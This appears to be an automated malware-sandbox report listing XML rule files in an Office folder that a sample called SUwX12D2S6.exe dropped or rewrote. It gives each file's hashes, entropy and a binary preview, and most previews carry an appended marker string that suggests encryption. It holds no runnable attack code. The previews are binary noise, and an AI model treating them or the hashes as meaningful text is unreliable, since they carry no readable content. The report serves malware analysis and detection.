Preview:	.<?)...[..e..C[q.j......0..^..........Z..\|.]%.>.....g.+....E..].+".A]Q^@...\|r...:#u2m.=PK.s....m..C./......0y....\u.[..}.G?.x.......(.v.k....^..8...c...w_.Hn.O,YR7.K.;^.uCI..#..{..~....m...8.^...;.mMv.....P..zg...+..h$...X..M^..Y8............$.3.d..F[q.=s......._..c..X.sM<.$...y(....P..T.6.{.?..`...<..i..>~6...c..\|kc.}X^........C.~SJ.-ZvE;..,.q..4..#.M.t.u...u..uQ.(.i^....7...f..=U..z..H..".o.B.-......))..3.`Sk'W.Jyt.]..;..-.ad.+.u...{c..+R......$..#.gK.........O...t.).....K....@$...d.gu.$m.z...6.VSq8.>#...T=.............3..:>.....A....NWL..V..}(.k.....F..-k...../.&/.E....e.r....&..@..k...j.8..Q...,q;...l.3.J.f..@...xKj=..i....7.....S.=.%U.C-.4......S..@.E.`@6.P.I.w=.-.....t...=itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120673v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.692567628891692
Encrypted:	false
SSDEEP:	12:pCz1Mk+WkpTN9EGqCAWA9zn7ea1zlWXHiQGLmdxIR3e/3eflyaKhIxjVcii9a:wz2WINBrAH9zn7eUzgXCQG433efli0VX
MD5:	CAAE55B76DA76A043391112DCF92A754
SHA1:	577D157205DB1D90816301EF17869C654CD09A17
SHA-256:	7A6B36BFA7C9E465365F0544B41F2AE4813912F517E5F4AFD0DA415A5EFF2018
SHA-512:	A1891B49775F869534D20329A1643EAF8E1BFB367259494A67C86565754487B0C9D388ED64596695DF809F03F0F243E02DEEF39148FE338B7FD85D82D7E2F43E
Malicious:	false
Preview:	.<?.q.U]8z{.`..n.1.t...c5.v..0....vB.B...A....v..zw...3..4...4j..F.S.....C.%.i..)...h........%..&.oh2D.... ....>.b\...d!.{.......].H8.ts.rj..-f .(......SO.As.... 1.c<ND..".f.p................{.x.d.w..3.!..C....d.........9.>.q8S.&....v.( zY.....q...I..i.D.6E..78.......KQu@.R .....{.=SUO.J...$..........X..?.^.../..c..B.`.\|..;{..n......M..g.......:{.b.H.=_...Zs6.......k*...j.;.8.............K.:J...."+.;......#.....V.0.....f"w..G.Z.g..xE.Q.%..F..;..Nqj..L......... .#l...>.Vz..a...n.;...m....j).V .8..nU..v.LO..;gY.<...Z.a.W.X..XQ...X..O.r.R/w;.%S?U..~{.M....Ld......o.{...e..nY+...;x@Z>S..Z....k.Y..b....X..B...%.....e......A......n.y..bq.N.i....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120674v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.729374317684504
Encrypted:	false
SSDEEP:	24:cxnrUlmPRwyfrhe/5QDalDbV5hJoSbKeo/jVbD:rlGw/5/9RpKeo/jFD
MD5:	407CBCD43E7EA12E0511B1E6F17D1D04
SHA1:	E5AE79C6E528A9014C80DB2DF43811B994D4E7F9
SHA-256:	671F380543D4CA21F97AFD3B7B9D9DC263FF5D4DB35D0132DB86176EFF925D4D
SHA-512:	2183C973477DC55224FC354A97C6F4EC3BCD653D9645BCB5EE39EE075E72F165C68EAB92358793C66B88F43133A9C5BD678C77CCD40DF6A48A368DDFC704922A
Malicious:	false
Preview:	.<?3TY..s./{.75..IN..aT]..\|).a...I.y!)L......r.GfI.w4.;V:eM.....Nh.....%......i.....?...0Cs.k..Ke&.(4.<..p.m..B..A.x...C?.w.y.%...xK1;1.-s....m...<g.E..A..._.....<.y..........,.g&.T...#.3..C..z`&.....VG..R....M.?.0.A....X.p`..^..4..1r{J'c..../........"..J.o.d.....f..\|fnVJc.....\|n\.....Xj&....$...G(...RMf..\|..z.........;Wv(...Yk....U.'..-.V...v.6..(..4...aJ..p'HI....}..8v&?>...%.b$......!..z....F6.2..3Q.t.x..M.MXSE.e8uft.c9....?,Bg.?@C^E....n!~....\|t.....^..F.:)...<.T.=..8..U@.<.}.7..`2....<.jTm..........z...p...m..Ac....!.\..=Qs...b...w..E`.._wEA^/+SL..Z.......ez'....h.}...L..Ej{.x.z..o ..jq..y .[.s....E\|.v..;.".h..j.....;.l.o.YAyy............\t.b.i...t..$.X..Z. >H'L\.M..B...}.;.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120675v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.732382814350921
Encrypted:	false
SSDEEP:	12:Isqf4zbyuq4trectUwQxT7UFgGDt5wZe29QOmsWfgDlabrll0CaF1fbObloD1ej9:EwypYecLQ9qgSZ29QNdfg5abRNaXbOZB
MD5:	59D10960E05F8FCC3505074BB7067A41
SHA1:	338FDAB0CBA4B862D16FB357EB1E8DAE5702FD4D
SHA-256:	A948AA75E563184E6BBC93FBACC42F50F6AF6C85FF515A938940BD8EEAAA50E2
SHA-512:	697CF07A0857BEDBE93DC4E573717A219322597E105D79A2C02BD8AD84A2F54C02CE9870F1D9C7EC9930224FB47956EA0AC41DD59DB8E5F113ED8B875D191AB4
Malicious:	false
Preview:	.<?.D.s .d>..!...}.!..I.b\|.......\|n.4 ......9.u...Mr...:.Tm.LA..=.....C......H......!D.XJ.a..J.Y..).J.jJ.3.j{.....i.B..T."......KC..LN.....T...F.....\|..e>.]....#..,.".?...b.-ad.wHF.?{..\7.q...8...w}.e..x.......Su.C..}%..~.i..N..y...ga/a...k9.]tR.n.4.o..w...T.........^qpJ.K.q..I.@.......j.}Px~6.(.....=.D.y..G\|kr...._w8))C...>.`....C..E..N6j...U._.Q.{..t..<.@..z.C(~..........r.......y.X.eZ2. .....Y..j...W.N.).`._.B.<.pL...hT....fdL..V..L.d.."....Y.m...).....,.;?.....FB..s.Td$"...Q..u.k.U..%..g ..G.j...6..Z.o..%.<..6.8...........lB{.R...6.[.y$.X....)."...M=W.l...f....M.'....]k..;\|..i.."....g.../...aR.!UM......G..7Sa...o.O.[.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120676v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.7314140900631605
Encrypted:	false
SSDEEP:	24:K4E1oQzWgARG01wUNcm1XqvkdfC/YT0QNhZVbD:KR5MGk+m1XTSwb/FD
MD5:	8A0E788CC22524FBBE3B0CBDDE400747
SHA1:	ECD2D055FCCC88B83CE6B61C71179F1DBF68A6E0
SHA-256:	F498D45E9819E9B1FE33132D36FCEB9B84B20A9286F7CA9A3A9153E454D2034A
SHA-512:	99000C567657C81A842739C5EB45E0829732B54D7CEA0AF4103A4825CBC6CFA36CEFAB7AA0D8D3589549E16E6291D46B6E1D1ADF5482218802E7DCDDC46FF1F8
Malicious:	false
Preview:	.<?.<m.....I5.^...i....O&D...<H..m....&.C..!#.W.c..T.l.>..V..........h.ws.=5.LM...Y.\0...".l.=@.`......+.Nn..0'..Y.3?...%.8...2W..4..%..61gf.....n.w1.3.b..]..2UD...o@ksY.r..Q.#.....)..m}.....90....X4..:.c>$..sC5p..a-0[4.#..Q.......,x.VE.....g..?/J.S<.L.NB......qH}y.F...VA.6.....)...D}.v:.g..].3.FkIs.>.[8'.P.Kk.'.......{)....9w.y.a7-.5.<...ar.n....#Wi99H..1...N....Q.z..$...`.U.$i..F..u.........Z.....e`...@.r.12Kr.4#..........2.[.O..L.......k.~..F...9.U.+......\,"M%.~]..b...Y.Z.?....#_...<.....W.......d...b8...n....;..e...8..8S.^...%..0.M......U52.d..\..8.....t...>p.#..1w5/.hg. ....a.....cvhJ....mnc.?"..O.M....-..:.#.........JP*.....B..f.v....B..8[...]...T.l/....\|t.G%.(tL.+& +.m.....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120677v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	739
Entropy (8bit):	7.671746293181028
Encrypted:	false
SSDEEP:	12:t+kzBOcaRZE/15L7/IX2H2ghdcAorgIgB09ED7PzBSYZ7TjVcii9a:tZ7v/zL7/IX2WghHoUIgm98DvVbD
MD5:	F7B4B642FF493D18F8AED3CFF80034CE
SHA1:	2058260D397B823A7CDD034EFF79FCCF741D332D
SHA-256:	7CED87699666DD8718E4C58A503E8811C5B19A8794105859A2C10752871BA437
SHA-512:	6EED1E6FB8D67E0EDCC381F540BD6F1CB73543F1B239DBA8B6C3F02CA118851F8E9C6F873355737EFBE39D5E4816657E0B272C7C35178F7D24068E09558413E7
Malicious:	false
Preview:	.<?h4.2h.j...i9\N.b......K.......j.._X.P.....z.W..Ot.....G.&(.O.><..e .3..i....B+..l5.x..9W.z....5...VW.~.................vR{..1oy.t1)..V......t..`..-MC"...c.O...`....._Q.....k...5.{z3..d..;...Q.mb.yb.j..Y.....{u... .n....Q...E..B."..S.]u....U.$(..JwUM.G.b...(..'.2..@......K..]..Qv.C.M..d....<.f.>.0.....BCih_..5.p.....n.^..S......Z....d..#6.\Z..t.L....%"7.}.zp9#..QNQ..?..o.m..D....f....\.u...a.1.1.<.#.dq8q..K..+.i....*........{.....t.~>..!E.f...9...........W..\|<k4..I.DB.~.0E...........]-l...K.(..fbM...=.D..\|....R`..H.6..y\|_.8Kj.......N..>L#......]J......3..P..-~(m:9.:.:.@.dz.L.O..[...V..+(....{8.-............e....I.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120678v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.753006731373474
Encrypted:	false
SSDEEP:	24:t01MH39btgOmpe+dlZ5Si8ubUsVXVlAOPVbD:t01s5f1+dIU/AsFD
MD5:	92D444C55C4B8258B1C09FA0B6DE17C9
SHA1:	C8D4F3EB7DC8B295DA011A6F64FCE71B4A95D576
SHA-256:	70EDC36E2EEB4F63DE94C141F514AAD45670166495014F081D13E2759D7345DC
SHA-512:	5207E5ED47A420DD49506726714E41B2CA90F9A0A5B573921C16BE3C329FB69BF8536C2F3FDBDF17406028A3798F175142E60BF98ECA1E119F3A63971B0AE1DD
Malicious:	false
Preview:	.<?.a..p.....m..ST...B.e.......C...)R.f.\......~&a&6.....(_..\|&x..o.P..."..=...e...~.%;....i..tG(........GyJ..~..P.yX#...O....E...A:~Y?I...d4._.x..8.....5.:V.[...;......P....Q..K..[.m...R%.S)..v!....F.E.....+...t.....EH.\|...O{.a.......3jD].....-.5.FB...0.2.i...D..b.9...<u#..0...8?..GH.u2..w.......k....../....O..1..2F#x%.........sM.@.}. {CC...........C.w)..5.....g.m.u{.M."..VU.C.....gN.Wv=....3..T\|..#....o.x.&.[...f.-f.!...qX.x.w.K....n.xc.^..Z...=}vn....;'...T.f..4..4WI0k>.l..:..\|u..7@......[........w.^...Bp.e.......k..j......T.o.....`^.Zr{.... 0.2..C..3.7.<..d.6E..........*...5..)8.7..h..U#ET.b1..7..}.+.. >.....(....q+>."...<...f_?F.#..9....}20..h.c.P....Io.f...]z.........itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120679v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	7.519053624235941
Encrypted:	false
SSDEEP:	12:3vlA1V+LwcagYnQiITjl/99it5hEI4b7uwS+ltYmzBMAjVcii9a:6H+Hvl/oEI4b7cOzBNVbD
MD5:	800D846DFD44DDC4D0393B90EA517DD7
SHA1:	441409C964CEC686A829F79047CB305E317FA860
SHA-256:	1F355473C3C964273B9418202DC9B0A36B17874C59EB786292E0C91CF11BE48B
SHA-512:	490FBAFEE566E40309239374DA4E678CD9DFF2ED28E3C2A955FAAAF76A03A023FB0D10C7EFACF0E898111C976870EF092D404A1FF8C7456DD762CA4EDF09D323
Malicious:	false
Preview:	.<?.Wc.T..o4C.t\|.\w..m.kg...]+@...0...j..R...[.^.w.9A..{A.k......,..)..6.RP....<...R....Lz"S.....v...x.a.X..........~0..!.7(...0"5.k...d.R.........\.QG..G..s.....p0jDU}.]...<H..u....~...c.V.L....._.....R-....:.v...".....6.~u....`k...`.l........9...k......U;.....yaT... .G3.\|.....,.H...X..........o..z..^'n.~$.....3G ...V.z.l/..,.Lm[hi.o.........J.W.K..H}..2.b,.."no.!.;.+A2....$j..qx....m.P........Wieitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120680v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2286
Entropy (8bit):	7.912707043001615
Encrypted:	false
SSDEEP:	48:oSBQSIsATFAy6FLAq5YkZnYajN79xPyjKzBUsZLi9uI55LCOP4YTNFD:hOayaAqmen5BRxPy+zB5iz55LNgYTN9
MD5:	D464D8E0E19EA917CB9E2488E08BE311
SHA1:	E40A6AA82DD3CB04EEBC38A9D94465B5377BD460
SHA-256:	082FCA03EC64CDA983BDAC0AA1C388EB1C3623023CF6CA8C283EAF295B3DD596
SHA-512:	F096A5B34E886591EA1E4EA53B47F416CB64771083E5915F2E2CAA89BC229CFAA0D95F570EAA922386DE510DA056534D99EE171B34397837861A0DC7898BA0B9
Malicious:	false
Preview:	.<?..K.9..$rN4a..........,..wC...G...u<..$...>..`.{JL&..F.E."A /Va.0.8...>...LS....V.^.Q.Z..q,.o...4c.S.,..P..Di.{...o,%fsoJ...}W.......X..._.."e6.{r......J..^.sz.]2,..'......Z.....d .z}...,.A..A}..,..].^....U.'...E..fF.r.,$g...N.."'.F.:.a.....cF...E\. }.i....<b..\.V........W.....Q...S....J2.,$UIJ...."......3. .m...'o$.R..L....FO.....DH3T.......G.9.!#=l.o.Y-.L+#......a....V.....\......$R..OC.{4..y.....7C.ss..7}.....p.Ee.I+...BA...R.Q......K..pS.D.X...]....BCg.......{z.B.+&.:`...B..J. ..{XTv....h&<.l<k.F.5R..&.O23C.Rc.5.H.o1..6^...G./P.:.....D+...&..LD..n..MH.)w..?...............n.{..S.....a.A.....(.{.>......6p.d..N..x......4p.)d0/..x.;.d.b...%....[d.bVN.._..:....".^.wW....c.?z....]...r:D...3....y........YPE../._3SUm....2....4g/..K...g!..d.r/>.0)..@.3...,.v....}r...a'.9aUe=p(=.zX.^M..\......O..P.........h..{..c..G .f.......Z...&.....p....B^H]....0.uM..[.%0~S..Y?e.{..n.Q.oO.H./.2/O..h-...?z..d.%..5..4..P.........L..X.....K.''.w..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120681v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1292
Entropy (8bit):	7.844446663166752
Encrypted:	false
SSDEEP:	24:KlsUAVgAfqg/yrlTDLCE4dnXY1JoAs9dZEgf6HqE5ad4VbD:2uuDLCRNXUJoA0Kgf8qEzFD
MD5:	40D7841FCCDB2BDBC223EF263D2CED77
SHA1:	31AC2D508A12BF134D533A2D61A64920BC95848C
SHA-256:	AB67B32EA90ABD5B14F827C1F39543700BCE8E4170ECFD3DF8011B78408717CD
SHA-512:	9E439F261430B10BBFFC01C39611D74A303B8521829E20053C7A2DB3557F37F7572A6B705F562060D23EB13E692A0B7064D1173F4DD6812B6694E05BDB4BD8F9
Malicious:	false
Preview:	.<?.......-..{T....y.....;.....A:..y.K...{.k.-.[..L....8.8......}e....C.V..[....&.](P..l...!#C..r.K...!...)ntL...hBUd...$.QE....<...#.A...Q....4U..&......o.G..gK>.N.~..:...z.b.........=..!2h6Z.......+.5io...M..6"........K..!.Z/.l.p.<.3.....sj...\|.s......)Y..6..A....j.p.Mb...ib..n..S#.p...(..#.C...'-q.......KFA..Q.\|.9?...!.}...T.u......8..~,...8.].n...ab...],.....&s^....c...Dw....["....D5D..s..K.B..~...;......i../.e0..O....~i....xK...`.k1..,.b..-.y;.ch....PG.....'YKz.........c.....>H,.B.........r..:.^\..U"......Y...@W....\.t.6n....V..J....$.....C2w..e...wW..!...A...+.>E<..N......u.T....Q.No!)y.%[..Jd...Y...[.2...CRo....OT....y..,.l........{.]s.?..c.@N........k[.Pa.........Kq.:q=.>....y..l..,.6.W;D7..=.}.".Wt...#.-N...4...O......C(.1.....$...._...}N....I._7...G..S40uKe4...\Gh.^a...s.....}..*[.H6S...d5.l.Qm.Ph.rqh.j-.0.p..1f.-Q.x.g.`.[...........Mi..P0.M..8..~.4...........(..O...0..._j.Y...."-^.f..?...........01 ....l....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120682v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.741136230224444
Encrypted:	false
SSDEEP:	24:yKgf95GId0Va+eRrWqDRkNRvCIDxAFYa71rw1zp2USVbD:Uza9krW3NRvxIYa7k0FD
MD5:	3201D844148F88577BE9DB59C31048DD
SHA1:	8005763B4129252C7A329A62EC4700DB2124B916
SHA-256:	39D1C16A6BF91303FCDF467503F9CF379B85DC5B30B13A242C658F9B556CE874
SHA-512:	79747B81C0758161E085536ED70D20E3DE75615F264D55243D1CC8BB0E9DD9E4243A4D1ADD3BB1D7128BD12BCE25508C4DBC86E7149F50A1FC51B0C838917598
Malicious:	false
Preview:	.<??6IB..{.g2...YD>..5.....8..`...)..YH.'!y.y>Cr/..n.R.9....&c..M.E.j.H'.#:....k...V.]a..Lks.ug.ar..H..E.....y.yAh.m..-..$$....q...:...Gw...5C..t..?.$1.1n...8V2.k.G..!.7...XJ...d.......5....P..._D.X.!0..<7...).5....]...6..ngp......e.............Nrzx..7...H......8.MZ..>...n.'.I..I.....}..\.^...c.....S.p.r..g......n%..pe.A"k...~.+^.t...=....`F8...<.k.....%..R.`P.lO..2_..U6.....@.\...$.....m...R.K.Q\..(...,..g..*..w.8.H.M..G...h..'.9.?..K.g..$.SrZ.N......1....A.V...{..+ ...?e..G...-H..=...F..0.e%.HKgR...i.<......RZz..2.~.........j"v..$..ma4...T.>..<2..3z.~....}...<E.b.r.Do.$.\?...~.k$.~@.x.`.n.}..f..<.J.}II..:.j24. ..b@...l.f.F]9.3.........1.]...6....1.5.?.}...P..<..^.....a7..{5F...Hc\|.q.u.g.....#.... .....w.k..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule222015v6.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.891392636587899
Encrypted:	false
SSDEEP:	48:UEvIUtm2HHA/wvPcXu7pd0EoFABnU33Cp7tgoDmIoZ0FD:NvtlHO0LUmnI3CdtRxoC9
MD5:	D28E4F5E4031EFFB61681F38B3889F6B
SHA1:	14B182E5A495FA753028C48216C1E060A283E39E
SHA-256:	0DA5570AF55AB3B3A3AE924D873BA7CDF486A6F2075AA618A96CAE74A931D41C
SHA-512:	EB73966D5D06CF023DD2A0A5F81656F23C6AA56C37A932B81A372E82B7427EC3D2696E542B643CA56A2E002B7017547E2B48A6F13E1E2DFF7D6C078CA0CAC3EA
Malicious:	false
Preview:	<?xml....X...7...}.gciN...m..r....Z........a[....Ya......,..X..q..........z..P'........L....w...(...5F....d....xy8.............U.&...=..d@...q(.....\|.t.Q..H.......G..e.:.......\|..^.>..lG[........U0.'.....7PeyXD.x...hg...\|...Hut5]b.1.=..tVL.B.@....h.Y...G..^y..AisFJ...Kc..jH(...\|.f...u7y3g.b.Wj\...ky!c.....2Vi.....o....L.......$h...f?X.(=./..d.,.W-.K.ycDz.....IC....2T.`<...#0a'...s(..@..qa..8..d.3>..;..........I.e..YS..'N:q>....,..a..&..QY.#...p..rdF..yw&...cn.:.<d.]...W.......aQ;=..)O.8...0q.\..q\.I.J..y.'!..7lY.../U.i....(...xSz.5r.2..v...}..'...w.......x..:..'....#\p...RN.Tf.`~.6D..i...F...D..On..2G.@.g<@..";..I$(7.5.R.+..\....O...y&s...\...U.K..njD.....`......e.S..nl.,.]I#..\|...bS.......%Y/H=A....WU.)`;#...b..l\...\..H.Z..U.e.8>.r6.r.n'e.XQ..A%...N@m..Gw.A].i......\|.;....f..F~..=..7x.\.....q....<..1X4.n..)..I.JO.R%.Wj.........~.y..x".u...(..7...5..]...1j..h...mVI....jTw....I..B........(y...~'.D....`.v....SW.\z...@.^*

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule222042v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	882
Entropy (8bit):	7.73777318358166
Encrypted:	false
SSDEEP:	24:NB3nVt3NWg+rCF8lP+D0Y+JC1ipkWocgReVlVbD:7V9NWRCSlPNNJypcUWFD
MD5:	E65C92E53EC75771FF729BDDC7F066DB
SHA1:	9E52BF3459E0A559B8527CC1BF2BE4C7B4EFDE95
SHA-256:	E113180FCFEDC35941C12B6275005D09B799E91DEF7C878A85CEBDDE6760F721
SHA-512:	1A6E5B07A8412170590ABA6C86BC9C3E946EDE7BA70863CEC20CA794678C86BF495DB15BC2A08C65E1B3E2224DE7882A886ACE99BDD7346B1AAB68E0483E80CE
Malicious:	false
Preview:	<?xml.?...}.\|....I........:S....TI...........h-Z..uz9...J...l.@.X.2..}..x.,.4.g.....T.#.F.r>X..g;..+..*.%.wV..n..I..K....xj..;leh....,..F.I.."..C...9\IN.Qf...wVNT?4....L...+.....t....6..].R?0f.....W.k..O..@.p... .B...`.Y.s..m..5..nq........8..FmZ..&.......ovd9...q....Ht#L..qV.I...DX?.eB.h.s.Af.....,85M..~..R;.....T.?.Q...._.P.^.0.k,.9.P3..W..OE^...#.KWt.@i.h..G........F..m!..o(.:.:ty..8..OXF:...k.VA...4#.'A..D.{.2.?t.\......-\|.Uu.3.M.....:n..K\@r^\|.G.o.)X....G$A.+....yA.>.v$.y...]....3)A.n...>..d...?.k.PA.M8b.....!....=y...)A.+...Vs....1U..d..w.b..}FP....sE.R...<v{#.K...IQb...!.r.b....d..h.+l.Tn. ./.b.L:......a< t..@..Q.@...?.6.....H.../>...U...TF.q.{}YD..h.D.<...........eqC..U..d..%.Fg}aw....Sc...l.K....a..gS......h..>..H..KCx.BS......h.=.)..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule222043v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	953
Entropy (8bit):	7.800155560279573
Encrypted:	false
SSDEEP:	24:ECljhhWbbxcTz0wA74v/x16yrnZKXokdS/UPuqmZcVbD:EC5DWbCTgwA7aZBKYkMYudGFD
MD5:	1DFB95225A59C58BF7300962A1C039F8
SHA1:	951F3D546C52B48EC65A0DCB9EE8958AF2B983FF
SHA-256:	AAADE1E9D02C08F2CF448AFD322C42377D35F84E1F1C67D1CEB82B2E27FF26AD
SHA-512:	73C4A18B82D10FB9CEB777C9511FDC125B3D95730C942567FAA2776C5618BC40677884A71C53E3030CA1D548ED667C2A89F2A7372497E2134DC70AF6FD07C023
Malicious:	false
Preview:	<?xml.p..?{..EmU..~.u.. ........zO...Y..hy..#.Ck..>....0t}..b^#..P.rn....r.....T....0.}.&.?W1.C5.X.1.\[..n..BW!.T).b........l.8..L.l.Y+..../..........h.?f..G&.^...@..%..Dh...{"..I'....P..0s..A.R4..c.2'#...G'.....f.ZM...u$.Y..R..d.^....y.-5..Q..w...@!U'....d.L@.l..-.....mR.....M.uX.W...&......n...~..$.Wb...T.....>...\v....f....t...c;.#G .K......q...+..<...w.0....A.A.`.Mz.^...x8.iX-.Vs...R."o_..9...[iS...8ItDfJ..y...[....~Z...J.t..O.~..<.....[...#.....+%Q...._..~.C..7..I....#...9..6..S@...r.....@_.S.\/.9.A.x..V.....k$A.Y;(....w....`.K...v.a._.^...;+.0..d.1a.!7.h....S.Y...J.\|...dq.k!G.gl#.E.\|.....(uv..[..x.~...?.].~}....#.J.......5...v......K.6..v).....RL]u........t.zaQn..s..x.0.$....tr_......M..7...n....\|.Me...Q....I..?..[~!ve`B.C].Uv\.-.=K..2I....s..p.."s...!K....5h.Z.}...M.<.?..NM..=.m..X.... 3...ry. ..SM.:..r...g.+.litkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule222101v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2075
Entropy (8bit):	7.90889105854651
Encrypted:	false
SSDEEP:	24:4GhsY1dcfB7TaORBywl5ShMP/6rZ5e2K3zHrD7efi4skyGBCm5VJN0QnvwtTGZo/:EY1duB7T3FMMP/E5eFreJPwHk3SFcyFD
MD5:	538DFB78F0A3EE38598774D4EE00EA6F
SHA1:	9A7F74F64CD88F943EE32110FA5CF1C80277A743
SHA-256:	D04EC33BA42E560641E8FB8DB7B450B5D993928F0B56CF1797FD8DBE014BD57C
SHA-512:	1282C14C0D92FEEA2E2C486B9D182CAFFABFBD3391CE138FB528DAF4549FDE30967A874038072763CBE67FD2C1DA125C832CD4B70C657C8739DE054412BEDAE1
Malicious:	false
Preview:	<?xml..g.U..C59.+..7..u.Bz]Lo..."...w...f.9Z(HO...$........s.......)k.R...F..v.K.'...v..Kq.....XY.s..L....H..U,.m.^.......F..X1..3........J.%.:.L.+5Z....V..../k+..{.......0......kM. S..1.x&...7......j...3.+.....x.m."...aS>O.P.`5.........Bh..G.crS......t.l...."0.m:....n4..bl.^f..C.EfIF...z....e[{..8jc..q.@).\|Q..6..i.........=Jo+....G.eQ...l.....QG.q.]...L..k...]......+mj..[..K..hi....D.Bi.....m8\....Zd<.%..M.....H.R..9..pp...m..o@K.v...=.Q.......@2..B.I'.^...j.......kr.5.2..k.\|..d......tG...'.F{.=B!........AM;K3.....V....YP;...@q.<R.e<.c....~...U.....`...&-R.yuf.0..W.eL.U3.@.XE.%.$w.>....R&..z.3......'a.X....{..Q..........R...YNve.x.nJ$"A....2....f{T)....=e>}...f.%..Z$..L`.f...R.q.N...4l.?=.Z....r.L..~7...Bq......w...u.'....n.K...t.5'....O.&..UC....+...E..6.a.....M.uk......=..,...?c...).o...X(X...[. L..e...A.I...G._..?DI......6:..p......NY....S.U....N.oI..Q..'.l.4.....9. ..nP..\|v...Br..SQW.M..7.@...f. ..#\[jKL..l..uI!./d.p...\.....n.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule224902v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	784
Entropy (8bit):	7.721462985501348
Encrypted:	false
SSDEEP:	12:FKRMFWgx/QAhlH+WtHdP6x4uMS4St0dWQuKMUFIA0fMCzTBlU9cGt4+OqJ4ZrPGZ:0RM0gx4ACWt91uMbuKlc5dh+d4ZrsVbD
MD5:	D158E41F90948D69468217D3AA2C46AC
SHA1:	DBC7F2D274008509E4E096B2765148E61A6FAA8F
SHA-256:	65A1868205F451E11469C65EDC8060225B056E2101287AD242C277840F9D2314
SHA-512:	EE956E6B755E4CF796DEBC0699368E2EACD0709E81BFBB67A71057162FC6ED801BD58EFCDD2203D32A732C58B6F6D77669A050B60E315F19C8D25F5928D66E9B
Malicious:	false
